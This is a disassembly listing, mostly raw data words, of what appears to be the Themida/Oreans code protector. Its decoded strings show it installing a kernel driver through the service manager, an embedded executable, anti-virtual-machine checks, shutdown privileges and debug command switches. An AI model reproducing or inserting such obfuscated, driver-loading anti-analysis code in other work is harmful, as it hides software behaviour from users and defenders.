		dd 5E6A40Eh, 6A046A50h,	0E7858D00h, 5005E6A3h, 0A40AB5FFh
		dd 95FF05E6h, 5E413E1h,	16A1BD83h, 0F0005E4h, 0C84h, 0AB5FF00h
		dd 0FF05E6A4h, 0E6A41695h, 0AB5FF05h, 0FF05E6A4h, 0E431B195h
		dd 60C36105h, 0A40E8589h, 858D05E6h, 5E6A40Ah, 74858D50h
		dd 5005E6A3h, 168h, 1A95FF80h, 6A05E6A4h, 0E858D04h, 5005E6A4h
		dd 6A046Ah, 0A3EE858Dh,	0FF5005E6h, 0E6A40AB5h,	0E195FF05h
		dd 8305E413h, 0E416A1BDh, 840F0005h, 0Ch, 0A40AB5FFh, 95FF05E6h
		dd 5E6A416h, 0A40AB5FFh, 95FF05E6h, 5E431B1h, 8960C361h
		dd 0E6A40E85h, 0A858D05h, 5005E6A4h, 0A374858Dh, 685005E6h
		dd 80000001h, 0A41A95FFh, 46A05E6h, 0A40E858Dh,	6A5005E6h
		dd 8D006A04h, 0E6A3F685h, 0B5FF5005h, 5E6A40Ah,	13E195FFh
		dd 0BD8305E4h, 5E416A1h, 0C840F00h, 0FF000000h,	0E6A40AB5h
		dd 1695FF05h, 0FF05E6A4h, 0E6A40AB5h, 0B195FF05h, 6105E431h
		dd 858960C3h, 5E6A40Eh,	0A40A858Dh, 8D5005E6h, 0E6A37485h
		dd 1685005h, 0FF800000h, 0E6A41A95h, 8D046A05h,	0E6A40E85h
		dd 46A5005h, 858D006Ah,	5E6A3FDh, 0AB5FF50h, 0FF05E6A4h
		dd 0E413E195h, 0A1BD8305h, 5E416h, 0C840Fh, 0B5FF0000h
		dd 5E6A40Ah, 0A41695FFh, 0B5FF05E6h, 5E6A40Ah, 31B195FFh
		dd 0C36105E4h, 0E85C760h, 105E6A4h, 8D000000h, 0E6A40A85h
		dd 858D5005h, 5E6A374h,	26850h,	95FF8000h, 5E6A41Ah, 840FC00Bh
		dd 0Fh,	0A40E85C7h, 5E6h, 4DE90000h, 6A000000h,	0E858D04h
		dd 5005E6A4h, 6A046Ah, 0A388858Dh, 0FF5005E6h, 0E6A40AB5h
		dd 0E195FF05h, 0B05E413h, 0F840FC0h, 0C7000000h, 0E6A40E85h
		dd 5, 0AE900h, 85C70000h, 5E6A40Eh, 1, 0A40AB5FFh, 95FF05E6h
		dd 5E431B1h, 0E858B61h,	0C305E6A4h, 0E858960h, 8D05E6A4h
		dd 0E6A40A85h, 858D5005h, 5E6A374h, 16850h, 95FF8000h
		dd 5E6A41Ah, 858D046Ah,	5E6A40Eh, 6A046A50h, 88858D00h
		dd 5005E6A3h, 0A40AB5FFh, 95FF05E6h, 5E413E1h, 16A1BD83h
		dd 0F0005E4h, 0C84h, 0AB5FF00h,	0FF05E6A4h, 0E6A41695h
		dd 0AB5FF05h, 0FF05E6A4h, 0E431B195h, 60C36105h, 0A40E8589h
		dd 858D05E6h, 5E6A40Ah,	74858D50h, 5005E6A3h, 168h, 1A95FF80h
		dd 6A05E6A4h, 0E858D04h, 5005E6A4h, 6A046Ah, 0A39A858Dh
		dd 0FF5005E6h, 0E6A40AB5h, 0E195FF05h, 8305E413h, 0E416A1BDh
		dd 840F0005h, 0Ch, 0A40AB5FFh, 95FF05E6h, 5E6A416h, 0A40AB5FFh
		dd 95FF05E6h, 5E431B1h,	85C6C361h, 5E42A49h, 7B076852h
		dd 0B5FFADE4h, 5E40FB9h, 29F195FFh, 858905E4h, 5E6A41Ah
		dd 2A4985C6h, 685205E4h, 902E00E5h, 0FB9B5FFh, 95FF05E4h
		dd 5E429F1h, 0A4168589h, 85C605E6h, 5E42A49h, 12356852h
		dd 0B5FFB9BFh, 5E40FB9h, 29F195FFh, 858905E4h, 5E413E1h
		dd 2A4985C6h, 685205E4h, 98781034h, 0FB9B5FFh, 95FF05E4h
		dd 5E429F1h, 31B18589h,	85C605E4h, 5E42A49h, 0DBD46852h
		dd 0B5FFC005h, 5E40FB9h, 29F195FFh, 858905E4h, 5E430F5h
		dd 6E8h, 9F08C800h, 80F3E33Fh, 0F5FF9CDh, 58Ch,	0E9816600h
		dd 0C781F795h, 728Dh, 2BCE8B66h, 0DE960D2h, 0F000000h
		dd 0A3D57924h, 48402EA8h, 0E777B9BEh, 0EE9h, 834A1700h
		dd 0F73F132Ah, 2ECCE5EAh, 61455BFCh, 0E817048Bh, 8, 0CFC89E1Dh
		dd 0DCEF76AAh, 815E3DB3h, 11A121E8h, 81DA8B5Fh,	6F8D71F0h
		dd 65C98123h, 8176CF49h, 0A250BCE8h, 5E947h, 0F0780000h
		dd 896B4509h, 7E81704h,	7C000000h, 22D1996Ch, 0B70FB53Ch
		dd 72BB5EC8h, 8369940Eh, 0EE901EAh, 0DC000000h,	749C2668h
		dd 3421C615h, 0A225DA21h, 4A4A4AD7h, 8179E180h,	0FF8E64FAh
		dd 1A850FFFh, 66000000h, 79C6E381h, 2DE9h, 4670A00h, 62880C82h
		dd 2DFF0374h, 4B8E88A8h, 53E68165h, 0E956D306h,	0FFFFFF64h
		dd 1B4309C6h, 24F01DD5h, 31B65FB8h, 0D96AF0C3h,	11E88988h
		dd 1D000000h, 18297ED1h, 2FD1FCACh, 7CA7DA7Bh, 6EAAD7D3h
		dd 1580B860h, 52607688h, 0A4BE665Eh, 5A616191h,	81F08B66h
		dd 703AC2h, 9E800h, 277F0000h, 4AEF949Ah, 0B71996CBh, 0CDB85BB6h
		dd 0E900001Bh, 5, 9376E6EFh, 0F32FF19h,	86h, 0FE95F00h
		dd 6000000h, 0CFA161E2h, 99F81D8Dh, 19323255h, 0C781183Dh
		dd 70908148h, 0B349E6BEh, 0EF7813Eh, 8054F61Fh,	0EF81AAF5h
		dd 6B7876D5h, 0FACB8166h, 890F5769h, 5,	48CF8052h, 0E9028F59h
		dd 7, 3DDAC975h, 83F35F1Bh, 0BE801EAh, 5B000000h, 7B2651B7h
		dd 0C2C98D43h, 81662146h, 5E9676D3h, 0E94A4A4Ah, 10h, 0EF3886B2h
		dd 0D1EEF56Eh, 0A1F12AA9h, 0D15803BFh, 1E881h, 850F0000h
		dd 0Eh,	28E9h, 96DE2A00h, 143EEAB6h, 5E90E91h, 8D000000h
		dd 0E9339018h, 0FFFF50E9h, 0B8C562FFh, 26C59896h, 0A4A3B117h
		dd 0F2F669FCh, 99E96Bh,	622F0000h, 68636775h, 326B6365h
		dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
		dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
		dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
		dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
		dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
		dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
		dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 0E6ACDDBDh
		dd 840F0005h, 0Ah, 220D85C7h, 105E4h, 85C60000h, 5E42A49h
		dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h
		dd 0B5FF5804h, 5E428E5h, 3994858Dh, 0D0FF05E4h,	0F88BD0FFh
		dd 0F223F80h, 2285h, 22B04700h,	0F9850FAEh, 80FFFFFFh
		dd 840F003Fh, 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h
		dd 840F003Fh, 303h, 0F203F80h, 685h, 6E94700h, 47000000h
		dd 0FFFFE2E9h, 3F80FFh,	5850Fh,	0E0E90000h, 0E9000002h
		dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh,	5850F00h, 0E9000000h
		dd 2C3h, 0AE8h,	0FFCBE900h, 0B4E9FFFFh,	8D000002h, 0E6AC5DB5h
		dd 225E805h, 0BD030000h, 5E6ACF2h, 0ACF2BD83h, 0F0005E6h
		dd 0B84h, 0A185C700h, 105E416h,	0C3000000h, 0AC68B58Dh
		dd 0FCE805E6h, 3000001h, 0E6ACF2BDh, 0F2BD8305h, 5E6ACh
		dd 0B840Fh, 85C70000h, 5E4220Dh, 1, 0E1B58DC3h,	0E805E6ACh
		dd 1D3h, 0ACF2BD03h, 0BD8305E6h, 5E6ACF2h, 0B840F00h, 0C7000000h
		dd 0E4102185h, 105h, 0B58DC300h, 5E6AC72h, 1AAE8h, 0F2BD0300h
		dd 8305E6ACh, 0E6ACF2BDh, 840F0005h, 0Bh, 220D85C7h, 105E4h
		dd 8DC30000h, 0E6AC7CB5h, 181E805h, 0BD030000h,	5E6ACF2h
		dd 0ACF2BD83h, 0F0005E6h, 1584h, 0D85C700h, 105E422h, 0C7000000h
		dd 0E416A185h, 105h, 0B58DC300h, 5E6AC8Ah, 14EE8h, 0F2BD0300h
		dd 8305E6ACh, 0E6ACF2BDh, 840F0005h, 0Ah, 19B185C7h, 105E4h
		dd 0B58D0000h, 5E6AC94h, 126E8h, 0F2BD0300h, 8305E6ACh
		dd 0E6ACF2BDh, 840F0005h, 0Ah, 19B185C7h, 105E4h, 0B58D0000h
		dd 5E6AC9Fh, 0FEE8h, 0F2BD0300h, 8305E6ACh, 0E6ACF2BDh
		dd 840F0005h, 0Ah, 6585C7h, 105E4h, 0B58D0000h,	5E6ACA5h
		dd 0D6E8h, 0F2BD0300h, 8305E6ACh, 0E6ACF2BDh, 840F0005h
		dd 0Ah,	101185C7h, 105E4h, 0B58D0000h, 5E6ACABh, 0AEE8h
		dd 0F2BD0300h, 8305E6ACh, 0E6ACF2BDh, 840F0005h, 0Ah, 21CD85C7h
		dd 105E4h, 0B58D0000h, 5E6ACB9h, 86E8h,	0F2BD0300h, 8305E6ACh
		dd 0E6ACF2BDh, 840F0005h, 0Ah, 155585C7h, 105E4h, 0B58D0000h
		dd 5E6ACC6h, 5EE8h, 0F2BD0300h,	8305E6ACh, 0E6ACF2BDh
		dd 840F0005h, 0Ah, 1DED85C7h, 105E4h, 0B58D0000h, 5E6ACD1h
		dd 36E8h, 0F2BD0300h, 8305E6ACh, 0E6ACF2BDh, 840F0005h
		dd 0Ah,	29B185C7h, 105E4h, 1E90000h, 47000000h,	0F203F80h
		dd 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh, 1B9h, 0E9DE8B00h
		dd 1Ch,	0F003F80h, 585h, 0B900h, 178A0000h, 840F1638h
		dd 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h, 0FFFFD385h
		dd 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h, 0A850F20h
		dd 0B9000000h, 1, 5E9h,	0B900h,	0C90B0000h, 0D840Fh, 0F32B0000h
		dd 0ACF2B589h, 0AE905E6h, 0C7000000h, 0E6ACF285h, 5, 8BC36100h
		dd 20EE9C8h, 43330000h,	6F6E6E61h, 72772074h, 20657469h
		dd 6165726Fh, 762E736Eh, 0D0A6478h, 656B614Dh, 72757320h
		dd 68742065h, 74207461h, 20736968h, 656C6966h, 20736920h
		dd 20746F6Eh, 6E696562h, 73752067h, 62206465h, 6E612079h
		dd 6568746Fh, 72702072h, 6172676Fh, 2E6Dh, 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 0EFE9h, 4985C600h, 4705E42Ah, 0E45B8668h, 0E5B5FFE3h
		dd 8D05E428h, 0E4399485h, 68D0FF05h, 104h, 18559D8Dh, 0FF5305E4h
		dd 0B58D50D0h, 5E6B271h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh
		dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 5E42A49h, 6EFC6843h
		dd 0B5FFBC8Eh, 5E428E5h, 3994858Dh, 0D0FF05E4h,	1855B58Dh
		dd 6A05E4h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h
		dd 4985C6D8h, 5705E42Ah, 9BEE5668h, 0E5B5FFA6h,	8D05E428h
		dd 0E4399485h, 8DD0FF05h, 0E412F1BDh, 978D8D05h, 6A05E6B3h
		dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h,	8D000000h
		dd 0E6B079B5h, 41858D05h, 0FF05E69Ch, 0FD8D8DD0h, 0B805E46Fh
		dd 0
		dd 85C6E1FFh, 5E42A49h,	4AA76843h, 0B5FFC076h, 5E428E5h
		dd 3994858Dh, 0D0FF05E4h, 0C3D0FF53h, 37D0B9h, 0E800h
		dd 83580000h, 8890EC0h,	2E9h, 0E9C38B00h, 37D0h, 905A4Dh
		dd 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 4
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 4
		dd 9C3h	dup(0)
		dd 831BE883h, 77309F8h,	8524FFh, 0F8000000h, 0C3h, 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 10A9E9h, 56444100h
		dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
		dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
		dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
		dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
		dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
		dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
		dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 4
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 0C48B0000h, 13099589h, 858905E4h, 5E42645h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C4C35646h, 22A780A2h
		dd 0CFB70F57h, 8BC08B59h, 0E41BB9BDh, 0A1BD8305h, 5E416h
		dd 0BD830975h, 5E4220Dh, 50197400h, 0B8C08B53h,	43Dh, 22158589h
		dd 9D8D05E4h, 5E6A8EBh,	585BD3FFh, 220DBD83h, 740005E4h
		dd 0B8535017h, 43Dh, 22158589h,	9D8D05E4h, 5E6A5DAh, 585BD3FFh
		dd 26798529h, 6A05E4h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 7F0828C3h, 0D1B70F8Bh, 6AC08Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 64B0CEC3h, 8B1BF6D0h, 0BD83F9C0h, 5E416A1h, 83097500h
		dd 0E4220DBDh, 13740005h, 0C08B5350h, 0B8h, 8D9D8D00h
		dd 0FF05E6A7h, 83585BD3h, 0E4220DBDh, 11740005h, 0B85350h
		dd 8D000000h, 0E6A63E9Dh, 5BD3FF05h, 12E958h, 96CC0000h
		dd 8AF858E4h, 175B0605h, 2C8AD98Ch, 1CFBE3C7h, 31D98D29h
		dd 0C08B05E4h, 0FCD9D89h, 0C08B05E4h, 1075BD8Bh, 0BD8305E4h
		dd 5E416A1h, 83097500h,	0E4220DBDh, 13740005h, 0C08B5350h
		dd 0B8h, 0BF9D8D00h, 0FF05E6A6h, 83585BD3h, 0E4220DBDh
		dd 11740005h, 0B85350h,	8D000000h, 0E6A60C9Dh, 5BD3FF05h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 4AA02A9Eh, 0B0BCEE26h, 95891942h, 5E40995h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 5DC35545h
		dd 29AAB2C3h, 0E407558Dh, 0BFC08B05h, 6960B7CBh, 0CA80C08Bh
		dd 0A1BD8357h, 5E416h, 0BD830975h, 5E4220Dh, 50137400h
		dd 0B8C08B53h, 0
		dd 0A7269D8Dh, 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50117400h
		dd 0B853h, 9D8D0000h, 5E6A625h,	585BD3FFh, 0CA03B966h
		dd 22698D8Bh, 0C08B05E4h, 237D9531h, 0C08B05E4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 36C35040h, 0B8F90E64h
		dd 0A069B9DAh, 0BD831798h, 5E416A1h, 83097500h,	0E4220DBDh
		dd 13740005h, 0C08B5350h, 0B8h,	589D8D00h, 0FF05E6A6h
		dd 6A585BD3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 3302C350h, 0E4299D8Dh,	0C7815305h
		dd 6FE88500h, 0B2C08B59h, 66C08B04h, 0BF32DA81h, 16A1BD83h
		dd 750005E4h, 0DBD8309h, 5E422h, 53501974h, 0D0B8C08Bh
		dd 89000007h, 0E4221585h, 0EB9D8D05h, 0FF05E6A8h, 83585BD3h
		dd 0E4220DBDh, 17740005h, 0D0B85350h, 89000007h, 0E4221585h
		dd 0DA9D8D05h, 0FF05E6A5h, 0F585BD3h, 286h, 6AC88B00h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 68B4C350h, 6ABB186Eh, 6463D181h, 0C08B4D80h
		dd 0D8CF8166h, 4985C68Fh, 5305E42Ah, 2E6D958Bh,	906805E4h
		dd 6A99395Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 2B76C356h, 60DBE2F0h, 0FF4FB6AAh
		dd 0E428E5B5h, 0F98B6605h, 12E9h, 0E7A7AB00h, 0BB54DF48h
		dd 8211E256h, 42089557h, 8D536401h, 0E4399485h,	5858905h
		dd 0FF05E400h, 0C9B966D0h, 618589C6h, 6A05E42Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8BD4C355h, 0E413A58Dh, 4985C605h, 5705E42Ah,	4520668h
		dd 0FE990h, 7A390000h, 8DFA4DE2h, 6D2DE29Ah, 9452A3B7h
		dd 0E5B5FF67h, 6A05E428h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0D3F7C355h,	667E0B20h
		dd 0BC39C781h, 3994858Dh, 830F05E4h, 5,	0D26234BAh, 6AD0FF05h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 9B12C350h, 8BF8FF68h, 0E41BED95h,	0C9B58905h
		dd 8905E41Fh, 0E42DAD85h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 85C6630Ah
		dd 5E42A49h, 0C9958943h, 6805E427h, 0BC907028h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 78C35646h, 0EE8116Ah
		dd 80000000h, 2B8B5C44h, 0DFEB86F7h, 9DA8C8D1h,	39858936h
		dd 5F05E417h, 28E5B5FFh, 9D8905E4h, 5E43095h, 3994858Dh
		dd 8E905E4h, 0D0000000h, 0AEB82D8Fh, 0FFE88E07h, 870FD0h
		dd 80000000h, 8589A6D1h, 5E42751h, 76B9CB8Ah, 0C6547AF9h
		dd 0E42A4985h, 6E94C05h, 0D000000h, 52941F4Eh, 1CE9688Fh
		dd 6E8D9DAh, 0DF000000h, 10CED787h, 8DBD8B66h, 5905E420h
		dd 3E1958Bh, 0B5FF05E4h, 5E428E5h, 8DF98B66h, 0E4399485h
		dd 1FC68005h, 0EE8D0FFh, 61000000h, 0E67DEC0Eh,	22505914h
		dd 7F929F85h, 61F281D5h, 5A5DF75Eh, 24398589h, 10E905E4h
		dd 2000000h, 0F5B5073Bh, 0E3673F83h, 0D834125Bh, 897F681Bh
		dd 0E417998Dh, 4985C605h, 4605E42Ah, 759D09h, 146805E4h
		dd 8BBADE06h, 0E42CDD8Dh, 0E5B5FF05h, 6A05E428h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 7AC4C353h, 0F918CCCFh, 89F5E252h, 0E41ECDB5h, 94858D05h
		dd 0FF05E439h, 0DE8D0h,	1C4F0000h, 99255B1Ch, 9D0B55F8h
		dd 89AD1167h, 0E40FB1BDh, 85895A05h, 5E41541h, 2A4985C6h
		dd 0B54705E4h, 69950149h, 6805E432h, 8A0FB5E2h,	0FFCF8B66h
		dd 0E428E5B5h, 94858D05h, 0F05E439h, 8Dh, 6AD0FF00h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 2C6BC355h, 7BFFE136h, 30A1BD8Bh, 858905E4h, 5E40C91h
		dd 14E9h, 32D92400h, 17C12D8Eh,	6D4AA1A2h, 0FDE2CA1Eh
		dd 0CEB1289Eh, 4985C6CAh, 4705E42Ah, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 6C35646h, 287E6E96h, 4961BA91h
		dd 30A18D89h, 8D8B05E4h, 5E430E1h, 0D0B5F368h, 2820F83h
		dd 0B2000000h, 0E5B5FF0Ah, 8A05E428h, 94858DF4h, 0E905E439h
		dd 6, 6A935929h, 0F38A5E3Ah, 11E8D0FFh
		db 3 dup(0)
byte_56EA8F	db 0ABh			; DATA XREF: Themida_:0053E7CEo
		dd 7C0A5E94h, 932BC7A4h, 78039F7Ch, 50E32E5Dh, 895F26B5h
		dd 0E41D0D85h, 3D8D8B05h, 6605E42Dh, 85C6D78Bh,	5E42A49h
		dd 52006A77h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 81234A37h, 0BD89BC85h, 5E40005h,	2890Fh
		dd 0A4B10000h, 0A8A368F9h, 0FF8F397h, 0B5FFD3B7h, 5E42379h
		dd 8BFFBF0Fh, 94858DD1h, 6005E439h, 1EF99D89h, 8D8905E4h
		dd 5E42889h, 6AD0FF61h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 7D5CC351h, 3B1A0516h
		dd 0D585893Fh, 0B05E427h, 0E4209595h, 56DA8105h, 0C62FD723h
		dd 0E42A4985h, 0BD8B4705h, 5E427F5h, 75DBD23h, 0F66805E4h
		dd 8B8728FAh, 0E431818Dh, 0E5B5FF05h, 0F505E428h, 3994858Dh
		dd 0E96005E4h, 0Ch, 7BF80F0Ch, 2377456Dh, 8A8D6ADCh, 4BACC2BFh
		dd 0D0FF612Dh, 8589E9B6h, 5E407CDh, 2A4985C6h, 0E94305E4h
		dd 0Bh,	7F47D9Ah, 0AA97124h, 81F5924Dh,	15F698E1h, 6EFC684Ch
		dd 0E981BC8Eh, 203E22A1h, 28E5B5FFh, 816605E4h,	8DAE12D9h
		dd 0E4399485h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 272BDBCBh, 11FD8529h
		dd 12E805E4h, 0E5000000h, 7BC33F5h, 0B9E1A83Ch,	65C31480h
		dd 0AABFB25Ah, 0CDB58906h, 5905E422h, 0BD29D0FFh, 5E4215Dh
		dd 0FA98589h, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0DF923FC3h, 0B98E06BEh, 85C655A7h
		dd 5E42A49h, 14E945h, 85AC0000h, 26FF339h, 2D1BBB47h, 60904F8Ch
		dd 18F69FC9h, 0F58A9CF3h, 72696968h, 0BD0BF98Eh, 5E40FA5h
		dd 28E5B5FFh, 8B6005E4h, 0E422E59Dh, 0FE805h, 678F0000h
